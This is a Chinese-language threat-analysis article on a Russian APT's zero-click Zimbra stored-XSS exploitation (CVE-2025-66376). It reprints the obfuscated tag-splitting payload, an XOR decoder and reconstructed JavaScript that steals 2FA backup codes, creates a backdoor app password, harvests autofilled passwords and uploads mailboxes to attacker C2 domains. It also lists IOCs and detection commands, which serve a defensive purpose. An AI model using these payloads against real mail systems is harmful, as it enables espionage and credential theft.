【网安大事件】打开邮件即被盗!俄罗斯APT组织利用Zimbra%200day攻击,16国联合紧急警告
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金夏
金夏
金夏安全
2026年7月24日%2016:42
广东
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一、事件描述
如果你还在用Zimbra邮件系统,请立刻停下来——你的邮箱可能已经被入侵了。
2026年7月23日,美国网络安全和基础设施安全局(CISA)联合美国国家安全局(NSA)、联邦调查局(FBI)以及英国、加拿大、澳大利亚、新西兰、荷兰、法国、德国等16个国家的网络安全机构,发布了一份重磅联合警告(AA26-204A)。
美国(NSA、FBI、CISA、DCSA、DC3、财政部、NCIS)荷兰(MIVD、AIVD)澳大利亚(ASD’s%20ACSC)加拿大(CSE’s%20Cyber%20Centre)新西兰(NCSC-NZ)英国(NCSC-UK)捷克(NÚKIB)丹麦(DDIS)爱沙尼亚(EFIS)芬兰(FDI、SUPO)法国(DGSI、ANSSI)意大利(AISE、AISI)摩尔多瓦(SIS%20RM)波兰(AW、SKW)西班牙(CNI)瑞典(NCSC-SE)
这份警告揭露了一个俄罗斯政府支持的APT组织——Laundry%20Bear(又名Void%20Blizzard、TA488)
利用Zimbra邮件系统的零日漏洞(CVE-2025-66376),对全球政府、国防、能源等关键机构发起大规模网络间谍活动。
英国安全大臣丹·贾维斯(Dan%20Jarvis)对此评价称:“这些行为者是‘暴徒’,尤其令人担忧的是,他们的攻击方法先在乌克兰进行测试,然后才转向针对联盟成员国。”
攻击最早可追溯至2025年7月,至今仍在持续。截至CISA报告发布时,已有超过10个使用ZCS软件的组织被成功入侵。
最可怕的是:攻击者只需要给你发一封邮件,你甚至不用点击任何东西,只要在网页邮箱里“预览”或“打开”它,你的所有邮件、密码、双重验证备用码就已经被偷走了。
二、完整攻击时间线
| 时间 | 事件 |
|---|---|
| 2024年4月 | Laundry%20Bear开始活跃,针对北约成员国政府、国防承包商和航空企业发起攻击 |
| 2024年7月 | 成功入侵乌克兰一家航空组织,该组织曾于2022年被俄罗斯GRU组织攻击过 |
| 2024年9月23日 | 荷兰警方遭攻击%20,全体警员联系信息被窃取。荷兰AIVD/MIVD首次发现该组织 |
| 2024年下半年 | 针对国防承包商、航空航天企业发起国防供应链攻击 |
| 2025年4月 | 使用Evilginx2发起AiTM钓鱼攻击,针对20多个NGO组织,成功绕过MFA |
| 2025年5月27日 | 荷兰AIVD/MIVD和微软首次公开披露该组织 |
| 2025年7月 | 开始利用Zimbra零日漏洞(CVE-2025-66376)发起零点击攻击 |
| 2025年7月8日 | 首个恶意域名 zmailanalytics.com 上线(IP:%20216.252.238.104) |
| 2025年8月20日 | 恶意域名 zimbra-metadata.com 上线(IP:%20216.252.238.18) |
| 2025年9月 | 开始从被入侵的乌克兰邮箱(@isofts.kiev.ua、@navs.edu.ua)发送钓鱼邮件 |
| 2025年9月24日 | 恶意域名 analyticemailmeter.com 和 emailanalytics.com.ua 上线 |
| 2025年10月 | Payload增加XOR加密层,10字符密钥每轮不同,增强规避检测 |
| 2025年11月 | Synacor发布安全更新,修复CVE-2025-66376(10.0.18/10.1.13) |
| 2025年11月11日 | 恶意域名 mailnalysis.com 上线(IP:%20104.248.134.194) |
| 2025年11月20日 | CERT-UA捕获首个恶意邮件样本,仅Rising(瑞星)检出 |
| 2025年12月18日 | 恶意域名 zimbrastat.com 上线(IP:%2064.226.124.190) |
| 2026年1月5日 | CVE-2025-66376被公开收录至美国国家漏洞数据库(NVD),CVSS%207.2 |
| 2026年1月20日 | 恶意域名 zimbrasoft.com.ua 上线(IP:%20193.238.152.66) |
| 2026年1月22日 | 针对乌克兰水利/能源部门攻击邮件被捕获 |
| 2026年2月3日 | 恶意域名 synacorzimbra.nl 上线(IP:%20216.252.238.64,伪装Synacor官方) |
| 2026年2月5日 | 恶意域名 istc-cloud.com 上线(IP:%20194.156.103.193) |
| 2026年2月-3月 | 最后一批已知C2域名活跃,C2存活周期7-60天,活动进入观察期 |
| 2026年3月17日 | Seqrite发布 \"Operation%20GhostMail\" 报告,详细分析Zimbra%20XSS利用和C2基础设施 |
| 2026年3月18日 | CISA将CVE-2025-66376列入 \"已知被利用漏洞目录\"(KEV) ,要求联邦机构限期修复 |
| 2026年5月 | 美国司法部对Void%20Blizzard关联人员 Denis%20Obrezko提起刑事诉讼 |
| 2026年7月23日 | CISA联合16国发布AA26-204A紧急警告 |
三、攻击组织背景
3.1%20组织档案
| 主要代号 | Laundry%20Bear(荷兰AIVD/MIVD命名) |
| 其他代号 | Void%20Blizzard(微软)、TA488(Proofpoint)、CL-STA-1114(Palo%20Alto%20Unit%2042)、UAC-0190(乌克兰CERT) |
| 归属 | 俄罗斯政府支持%20(高度确信) |
| 活跃时间 | 至少从2024年4月起 |
| 攻击目的 | 地缘政治间谍活动,为俄罗斯政府窃取敏感情报 |
| 攻击成功率 | 高于其他俄罗斯威胁组织(荷兰AIVD/MIVD评估) |
| 关联企业 | Yutek-NN(俄罗斯网络安全公司),美国司法部起诉书将Void%20Blizzard活动与该公司关联 |
| 进化速度 | 从简单手法到自主开发零日漏洞,仅用不到两年时间 |
3.2%20组织发现过程
2024年9月23日,荷兰警方遭遇一起网络攻击,攻击者通过购买的被盗Cookie(Pass-the-Cookie攻击)成功入侵,窃取了全体警员的工作联系信息(全局地址列表)。
荷兰情报机构AIVD和MIVD在调查过程中,发现了一个此前不为人知的威胁组织,将其命名为 “Laundry%20Bear” 。微软独立追踪到同一组织,使用“天气”命名体系将其命名为 “Void%20Blizzard” 。Proofpoint将其跟踪为 “TA488” 。
3.3%20攻击目标行业
Laundry%20Bear已确认攻击以下行业:
- 国防工业基地(DIB) ——军工企业、国防承包商
- 联邦及地方政府 ——政府部门、外交机构
- 教育机构 ——大学、研究机构
- 能源行业 ——电力、石油、天然气
- 执法部门 ——警察、司法机关
- 媒体机构 ——新闻组织
- 非政府组织(NGO) ——国际组织
- 科技行业 ——IT企业、通信公司
- 金融行业 ——银行、金融机构
- 交通运输 ——航空、物流
- 医疗行业 ——医院、医疗机构
重点攻击北约成员国和乌克兰。几乎所有北约国家都曾成为攻击目标。
3.4%20关联个人与公司
Denis%20Obrezko(丹尼斯·奥布雷兹科)
| 属性 | 信息 |
|---|---|
| 姓名 | Denis%20Obrezko |
| 年龄 | 36岁 |
| 国籍 | 俄罗斯 |
| 职位 | Yutek-NN公司副总监(deputy%20director) |
| 司法状态 | 2026年6月从泰国引渡至美国,在波士顿联邦法院出庭 |
| 指控 | 参与Void%20Blizzard组织网络间谍活动 |
| 来源 | 美国司法部 |
四、攻击能力“三级跳”
Laundry%20Bear的攻击能力在过去两年间经历了三个阶段的显著进化:
第一阶段(2024年起):“数据贩子”模式
初始攻击手法并不复杂,但非常有效:
- 购买窃取的凭证:从网络犯罪市场购买被信息窃取恶意软件盗取的Cookie和登录凭证
- 密码喷洒(Password%20Spraying) :用少量常用密码尝试大量账号
- “传递Cookie”攻击(Pass-the-Cookie) :利用窃取的会话Cookie绕过认证
第二阶段(2025年4月起):AiTM钓鱼攻击
攻击手法开始升级,从“买现成的”转向“主动设局”:
- 使用开源工具Evilginx2搭建AiTM(中间人攻击) 钓鱼页面
- 伪造微软登录页面或“欧洲防务与安全峰会”注册页面
- 诱骗目标输入凭证,实时拦截密码和会话Cookie
- 成功绕过MFA(多因素认证)
第三阶段(2025年7月起):自主开发零日漏洞
这是最关键的转折点。CISA警告明确指出,这展现了Laundry%20Bear“部署日益复杂技术能力的意图和能力”:
- 自主开发零日漏洞(CVE-2025-66376)
- 自主研发完整的攻击框架:“Ulej”(Улей,俄语“蜂巢”)和“Flowerbed”(花坛)
- 攻击方式从“偷钥匙”进化为“用万能钥匙开所有门”
五、漏洞技术分析
5.1%20漏洞基本信息
| 属性 | 信息 |
|---|---|
| CVE编号 | CVE-2025-66376 |
| 漏洞类型 | 存储型跨站脚本(Stored%20XSS) |
| CWE分类 | CWE-79(输入验证不恰当) |
| 影响组件 | Zimbra%20Collaboration%20Suite%20Classic%20UI |
| 受影响版本 | ZCS%2010.0.x(<%2010.0.18)、ZCS%2010.1.x(<%2010.1.13) |
| CVSS评分 | 7.2(高危) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 用户交互 | 无(“零点击”) |
5.2%20漏洞根本原因
Zimbra%20Classic%20UI在处理HTML邮件内容时,对CSS的@import指令做了不充分的过滤和净化。
关键机制:
- Zimbra使用HTML净化器(Sanitizer)处理邮件内容
- 净化器对
@import指令的处理存在缺陷:当@import被拆分插入到标签名称或属性值中时,净化器会移除@import本身,但将剩余字符拼接成合法的HTML标签 - 浏览器解析时,将净化后的片段重新组合成可执行代码
5.3%20标签拆分(Tag-Splitting)技术
攻击者将恶意标签拆分成多个片段,中间插入@import指令:
(图%20:示例电子邮件中的恶意负载)
原始恶意代码:
</scr@import FHBCuUYUGEQODuCrzISjiZsOR;ipt>WqRodzBMC</s<!--WmxNBeNgyFe@import WjTgoKQtWXrfBKAUnMVGQsKBFCvmwd;JbFJPbKH-->tyle><s@import;vg/KttsYfUnHEmwoXouXy/onlo@import zZhGLNPLxJ;ad=ev@import acXApYgYEaXwpIprFa;al(at@import poxscPRqHcoGoodXaFvoY;ob(
浏览器实际解析后:
<svg/onload=eval(atob(
拆解对照表:
| 拆分片段 | 重构结果 |
|---|---|
scr@import%20…%20;ipt |
script |
onlo@import%20…%20;ad=ev@import%20…%20;al |
onload=eval |
at@import%20…%20;ob |
atob() |
5.4%20多层混淆解码
第一层:Base64解码:atob()解码外层
第二层:XOR解密:
function xorDecrypt(encoded,%20key)%20{ %20 var result%20= ''; %20 for (var i%20= 0;%20i%20<%20encoded.length;%20i++)%20{ %20 %20 %20 %20result%20+= String.fromCharCode(encoded.charCodeAt(i)%20^%20key.charCodeAt(i%20%%20key.length)); %20 %20} %20 return result;}
攻击者使用10字符密钥(每轮攻击不同),增强规避检测能力。
第三层:执行:eval()执行最终脚本
5.5%20恶意脚本12步完整操作(基于Seqrite%20Operation%20GhostMail报告)
Seqrite在“Operation%20GhostMail”报告中完整还原了攻击脚本的12个阶段。该报告分析的攻击邮件伪装成乌克兰内务部(NAVS)学生的实习咨询邮件,使用乌克兰语撰写,无恶意附件、无可疑链接,整个攻击链完全隐藏在HTML邮件正文中。该样本上传VirusTotal时检出率为0/60。
| 名称 | 操作 | MITRE%20ATT&CK | 危害程度 |
|---|---|---|---|
| sendStartPing | 向C2发送“攻击开始”信号 | T1071 | 低 |
| gather\_email | 获取受害者邮箱地址 | T1087 | 中 |
| gather\_environment | 识别Zimbra版本和客户端类型 | T1082 | 低 |
| gather\_2fa\_codes | 窃取2FA备用码 | T1111 | 极高 |
| gather\_app\_password | 创建“ZimbraWeb”应用密码(持久化后门) | T1098/T1556.006 | 极高 |
| gather\_device\_status | 获取ActiveSync设备信息 | T1120 | 中 |
| gather\_oauth\_consumers | 获取OAuth应用列表 | T1528 | 中 |
| gather\_autocomplete\_password | 注入隐藏登录框窃取浏览器保存密码 | T1555.003 | 极高 |
| enable\_mail\_protocols | 强制启用IMAP协议 | T1098 | 高 |
| gather\_gal | 暴力枚举全局地址列表(GAL) | T1087 | 高 |
| sendArchives | 打包下载过去90天邮件 | T1114/T1560 | 极高 |
| sendFinishPing | 向C2发送“攻击完成”信号 | T1071 | 低 |
关键发现(Seqrite报告) :
- 攻击邮件发送端指纹:
8.15_GA_4717(Zimbra服务器版本),10.1.7_GA_4200002(Web客户端版本) - 攻击者通过Chrome%20132(2026年1月14日稳定版)手动编写邮件,非自动化工具行为
- 脚本使用Promise.all并行执行9个收集操作,最大化单次会话的数据窃取量
- localStorage去重机制:已窃取日期的邮件用
zd_comp_YYYY-MM-DD标记,避免重复窃取 - 24小时超时:邮件下载每个日期设置24小时超时,只要标签页开着就会持续窃取
红色标注的5个阶段是本次攻击最危险的部分:
①%20窃取2FA备用码(gather\_2fa\_codes) :
function gather2FACodes(csrfToken)%20{ %20 var soapRequest%20= ` %20 %20 %20 %20<soap:Envelope> %20 %20 %20 %20 %20 %20<soap:Body> %20 %20 %20 %20 %20 %20 %20 %20<GetScratchCodesRequest%20xmlns=\"urn:zimbraAccount\"/> %20 %20 %20 %20 %20 %20</soap:Body> %20 %20 %20 %20</soap:Envelope>`; %20 fetch('/service/soap',%20{ %20 %20 %20 method: 'POST', %20 %20 %20 headers:%20{ %20 %20 %20 %20 %20 'Content-Type': 'text/xml', %20 %20 %20 %20 %20 'X-Zimbra-Csrf-Token':%20csrfToken %20 %20 %20 %20}, %20 %20 %20 body:%20soapRequest %20 %20}) %20 %20.then(response => response.text()) %20 %20.then(data => { %20 %20 %20 var codes%20= parseScratchCodes(data); %20 %20 %20 %20codes.forEach(function(code)%20{ %20 %20 %20 %20 %20 exfiltrateViaDNS('2fa',%20code); %20 %20 %20 %20}); %20 %20});}
即使你开启了双重验证,攻击者拿到了备用码,就可以随时绕过你的2FA登录。每个备用码通过DNS单独外泄。
②%20创建“ZimbraWeb”应用密码(gather\_app\_password) :
function createAppPassword(csrfToken) { %20 var soapRequest%20=%20` %20 %20 %20 %20<soap:Envelope> %20 %20 %20 %20 %20 %20<soap:Body> %20 %20 %20 %20 %20 %20 %20 %20<CreateAppSpecificPasswordRequest%20xmlns=\"urn:zimbraAccount\"> %20 %20 %20 %20 %20 %20 %20 %20 %20 %20<name>ZimbraWeb</name> %20 %20 %20 %20 %20 %20 %20 %20</CreateAppSpecificPasswordRequest> %20 %20 %20 %20 %20 %20</soap:Body> %20 %20 %20 %20</soap:Envelope>`; %20 fetch('/service/soap',%20{ %20 %20 %20method: 'POST', %20 %20 %20headers:%20{ %20 %20 %20 %20 %20 'Content-Type': 'text/xml', %20 %20 %20 %20 %20 'X-Zimbra-Csrf-Token':%20csrfToken %20 %20 %20 %20}, %20 %20 %20body:%20soapRequest %20 %20}) %20 %20.then(response%20=>%20response.text()) %20 %20.then(data%20=>%20{ %20 %20 %20 var password%20= parseAppPassword(data); %20 %20 %20 exfiltrateViaDNS('pa',%20password); %20 %20 %20 exfiltrateViaHTTPS('app_password',%20password); %20 %20});}
这是一个独立于你主密码的永久凭证,即使你修改了密码,这个后门依然有效。攻击者可以通过IMAP/SMTP协议随时访问你的邮箱。
③%20窃取浏览器保存密码(gather\_autocomplete\_password) :
function%20stealAutofillPassword()%20{ %20 %20var%20fakeDiv%20=%20document.createElement('div'); %20 %20fakeDiv.style.position%20= 'absolute'; %20 %20fakeDiv.style.left%20= '-9999px'; %20 %20fakeDiv.innerHTML%20=%20` %20 %20 %20 %20<input type=\"email\" id=\"zmb_fake_email\" value=\"[email protected]\"/> %20 %20 %20 %20<input type=\"password\" id=\"zmb_fake_password\" autocomplete=\"current-password\"/> %20 %20`; %20 %20document.body.appendChild(fakeDiv); %20 %20setTimeout(function()%20{ %20 %20 %20 %20var%20stolenPassword%20=%20document.getElementById('zmb_fake_password').value; %20 %20 %20 if (stolenPassword)%20{ %20 %20 %20 %20 %20 %20exfiltrateViaDNS('pw',%20stolenPassword); %20 %20 %20 %20 %20 %20exfiltrateViaHTTPS('autocomplete_password',%20stolenPassword); %20 %20 %20 %20} %20 %20 %20 %20fakeDiv.remove(); %20 %20}, 5000);}
攻击者在页面不可见区域注入假登录框,诱骗你的浏览器密码管理器自动填充——你保存在浏览器中的所有密码全部暴露。该操作不需要CSRF%20token,因为直接操作DOM而非调用Zimbra%20API。
④%20暴力枚举GAL(gather\_gal) :使用20批次SOAP请求,每批77个SearchGalRequest命令,用所有双字符组合(a-z、0-9、.-\_)暴力枚举组织全部联系人。
⑤%20打包下载90天邮件(sendArchives) :
function stealEmails(csrfToken)%20{ %20 for (var day%20= 0;%20day%20< 90;%20day++)%20{ %20 %20 %20 var key%20= 'zd_comp_' + getDateString(day); %20 %20 %20 if (localStorage.getItem(key)%20=== 'true') continue; %20 %20 %20 var url%20= `/home/~/?fmt=tgz&meta=0&query=date:-${day}d%20AND%20(not%20in:junk)`; %20 %20 %20 fetch(url,%20{ %20 %20 %20 %20 %20 headers:%20{ 'X-Zimbra-Csrf-Token':%20csrfToken%20} %20 %20 %20 %20}) %20 %20 %20 %20.then(response => response.blob()) %20 %20 %20 %20.then(blob => { %20 %20 %20 %20 %20 uploadToC2('telemetryData_' +%20day%20+ '.json',%20blob); %20 %20 %20 %20 %20 localStorage.setItem(key, 'true'); %20 %20 %20 %20}); %20 %20}}
攻击者将你过去90天所有邮件(含附件)打包成GZIP压缩文件,通过HTTPS%20POST上传到攻击者服务器。当天邮件(day%200)每次都会重新窃取,确保最新邮件不被遗漏。
六、攻击者“武器库”:Ulej与Flowerbed
6.1%20Ulej(Улей,俄语“蜂巢”)
CISA报告明确指出,Ulej是该组织自主开发的恶意能力(T1587.001):
| 属性 | 信息 |
|---|---|
| 名称 | Ulej(Улей,俄语“蜂巢”) |
| 类型 | 数据窃取与聚合能力 |
| 功能 | 生成并发送恶意Payload邮件;从受害者浏览器收集回传数据;利用CVE-2025-66376进行零点击利用 |
| 扩展性 | CISA评估“很可能可以适配用于利用其他漏洞” |
6.2%20Flowerbed(“花坛”)——后端框架
Flowerbed是一个Python项目,使用Docker容器化部署,运行在攻击者控制的VPS上:
| 容器 | 技术栈 | 功能 |
|---|---|---|
| Catcher | Python | DNS+HTTP服务器(端口53/8000),接收和聚合窃取数据 |
| Certbot | Python(官方容器) | 自动生成Let's%20Encrypt证书,通过Cloudflare%20DNS挑战验证 |
| Nginx | Nginx | HTTPS反向代理,验证SNI是否包含*.i.*,否则返回444错误 |
| Gardener | Python | 健康检查脚本,验证Catcher正常接收和处理数据 |
关键机制:
- Nginx验证:仅当TLS%20SNI包含
*.i.*时才转发流量,拒绝非Ulej连接 - Catcher数据存储:先存
/root/hits/tmp,处理后移至/root/hits/ready - 数据外传:约每60秒通过SSH将数据从Flowerbed服务器外传
- 自动清理:每小时删除
/root/hits/ready中2天前的文件
CISA报告指出,Flowerbed代码库有AI参与开发的迹象(T1588.007)。
6.4%20双重通道数据外泄
DNS通道(小数据量) :
- 格式:
[victimID].d-[dataType].[base32encoded].[domain] - 示例:
a3f7k9.d-e.MFRGG5DTG4BQ.i.zmailanalytics.com - 编码方式:RFC%204648%20Base32,每60字符加“.”分段,确保子域名不超过63字符
- 触发方式:通过
new%20Image().src%20=%20\"https://\"%20+%20domain%20+%20\"/pixel.gif\"触发DNS查询 - 数据类型:
e(邮箱)、pw(密码)、pa(应用密码)、2fa(备用码)、c(客户端类型)、v(Zimbra版本)、url(URL)
HTTPS通道(大数据量) :
- POST到
/v/p(JSON数据)或/v/d(二进制数据) - 使用Let's Encrypt证书加密
- 邮件数据以GZIP压缩格式传输
- 包含
X-Filename头:telemetryData_{0-89}.json或zimbra_batch_analytics.json
七、关键IOC汇总
7.1 恶意域名与IP
经过CISA、Proofpoint、Unit 42等多维度情报聚合:
| 域名 | IP | 活跃时间 | 备注 |
|---|---|---|---|
| zmailanalytics[.]com | 216.252.238[.]104 | 2025-07-08 ~ 2025-10-15 | 首个C2 |
| zimbra-metadata[.]com | 216.252.238[.]18 | 2025-08-20 ~ 2025-10-14 | - |
| analyticemailmeter[.]com | 37.120.247[.]228 | 2025-09-24 ~ 2026-03-18 | Cloudflare |
| emailanalytics.com[.]ua | 185.86.79[.]95 | 2025-09-24 ~ 2026-03-18 | 乌克兰顶级域 |
| mailnalysis[.]com | 104.248.134[.]194 | 2025-11-11 ~ 2026-02-17 | DigitalOcean |
| zimbrastat[.]com | 64.226.124[.]190 | 2025-12-18 ~ 2026-03-18 | DigitalOcean |
| zimbrasoft.com[.]ua | 193.238.152[.]66 | 2026-01-20 ~ 2026-03-18 | 乌克兰顶级域 |
| synacorzimbra[.]nl | 216.252.238[.]64 | 2026-02-03 ~ 2026-03-30 | 伪装Synacor官方 |
| istc-cloud[.]com | 194.156.103[.]193 | 2026-02-05 ~ 2026-03-30 | 亚美尼亚IP |
7.2 证书SHA-1哈希
| 关联域名 | 证书SHA-1 | 有效期 |
|---|---|---|
| zmailanalytics[.]com | 2e4f314bc9943cab5005d6fde0b271c74d47bc9d |
2025-07-08 ~ 2025-10-06 |
| \*.i.zimbra-metadata[.]com | c5a72420e7bb308d078e62128430897f82194c95 |
2025-08-20 ~ 2025-11-18 |
7.3 恶意邮件样本SHA-256
98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760
*各样本检出情况:*
| 样本 | 检出率 | 检出厂商 |
|---|---|---|
98df604e... ([email protected]\_22.01.2026.txt) |
12/62 | ALYac、Arcabit、BitDefender、CTX、Emsisoft、eScan、Fortinet、GData、QuickHeal、Rising、Trellix ENS、VIPRE |
60db9abae... (01.eml) |
0/60 | 无检出 |
b1f5beb... (CERT\_20\_11\_2025.eml) |
1/60 | Rising |
1517b3caa... |
1/62 | Rising |
关键发现:
- 第一个样本(目标为乌克兰水利/能源部门)已被12家安全厂商检出,其中多家标记为
Exploit.CVE-2025-66376 - 后三个样本检出率极低,特别是第二个样本(01.eml)在VirusTotal上0/60完全未检出
- Rising(瑞星)是唯一能稳定检出该漏洞的杀毒引擎
- 大量主流安全厂商(卡巴斯基、微软、赛门铁克、ESET等)至今无法检测这些恶意邮件
7.4 恶意发件人
| 邮箱 | 类型 | 说明 |
|---|---|---|
| c.laurent.ejfa@proton[.]me | 攻击者控制 | ProtonMail |
| j.moreau.epsc@proton[.]me | 攻击者控制 | ProtonMail |
| liberty.insights@proton[.]me | 攻击者控制 | ProtonMail |
| @isofts.kiev[.]ua | 被入侵 | 乌克兰机构 |
| @navs.edu[.]ua | 被入侵 | 乌克兰内务部(NAVS) |
7.5 关联邮箱(域名注册)
| 邮箱 | 关联域名 |
|---|---|
| ivanka.zurabishvili@proton[.]me | zmailanalytics.com 等 |
| zmul1@buildandconsulting[.]com | buildandconsulting.com |
| garrysmithme@pinmx[.]net | pinmx.net |
| hostingclient@pinmx[.]net | pinmx.net |
八、归因证据
指向俄罗斯政府支持的关键证据:
1. 攻击目标:优先测试乌克兰,然后扩展到北约国家——与俄罗斯战略利益高度一致
2. 战术演变:从简单技术(购买凭证)向复杂技术(零日漏洞开发)演进——表明获得国家级资源支持
3. 攻击时机:2024年4月起针对乌克兰和北约目标,2025年7月获得零日漏洞能力——资源充足的国家级情报机构
4. 官方确认:
- 美国联邦起诉书确认相关组织与俄罗斯情报机构有关联,并关联至Yutek-NN公司
- 荷兰AIVD/MIVD在2025年5月首次公开披露
- 与微软的Void Blizzard追踪完全重叠
- 16国情报机构联合归因
5. 英国安全大臣Dan Jarvis评论:“这些行为者是'暴徒',尤其令人担忧的是,他们的攻击方法先在乌克兰进行测试,然后才转向针对联盟成员国。”
九、紧急处置建议
如果您的组织正在使用Zimbra邮件系统,请立即执行以下操作:
立即行动(优先级最高)
1. 立即升级Zimbra
升级到 10.0.18 或 10.1.13 及以上版本。
2. 如无法立即打补丁
- 强制用户使用Modern UI,立即禁用Classic UI
- 或建议用户使用其他邮件客户端(如Outlook)
深度排查
3. 检查Zimbra日志(/opt/zimbra/log/mailbox.log)
# 查找应用密码创建事件grep -i \"CreateAppSpecificPasswordRequest\" /opt/zimbra/log/mailbox.log*
# 查找名为\"ZimbraWeb\"的应用密码grep -i \"ZimbraWeb\" /opt/zimbra/log/mailbox.log*
# 查找大量GAL枚举(20批SOAP请求)grep -i \"SearchGalRequest\" /opt/zimbra/log/mailbox.log* | wc -l
# 查找2FA备用码窃取grep -i \"GetScratchCodesRequest\" /opt/zimbra/log/mailbox.log*
# 查找IMAP强制启用grep -i \"zimbraPrefImapEnabled\" /opt/zimbra/log/mailbox.log*
4. 检查浏览器LocalStorage
在Zimbra页面的开发者工具Console中执行:
for (var i = 0; i < localStorage.length; i++) { var key = localStorage.key(i); if (key && key.startsWith('zd_comp_')) { console.log('⚠️ 发现入侵痕迹:', key); }}
如果发现 zd_comp_YYYY-MM-DD 格式的键值,说明该账户已被入侵,这些键记录了攻击者已窃取的邮件日期。
5. 检查并撤销所有名为“ZimbraWeb”的应用密码
6. 检查DNS日志中是否存在d-[随机字符]模式的异常查询
7. 全面排查恶意邮件
使用CISA提供的SHA-256哈希在邮件网关中搜索恶意邮件样本。
8. 检查邮件转发规则
攻击者可能设置了邮件转发规则,将特定邮件实时转发到攻击者控制的邮箱。
长期加固
- 实施防钓鱼MFA(FIDO2硬件令牌),避免使用短信或电话MFA
- 监控大量出站数据流向VPS提供商IP
- 监控异常子域名DNS查询
- 告知用户:HTML邮件本身可能携带恶意代码,即使没有附件和链接的邮件也不安全
附录:参考链接
- CISA官方通告(AA26-204A) :https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-204a-
- CISA KEV目录(CVE-2025-66376) :https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2025-66376
- Proofpoint完整报告:https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit
- 微软Void Blizzard报告:https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/
- 荷兰AIVD/MIVD报告:https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf
- Seqrite Operation GhostMail报告:https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/
- Palo Alto Unit 42报告:https://unit42.paloaltonetworks.com/russian-webmail-espionage/
- BleepingComputer报道:https://www.bleepingcomputer.com/news/security/russian-hackers-exploit-zimbra-zero-click-flaw-for-email-theft/
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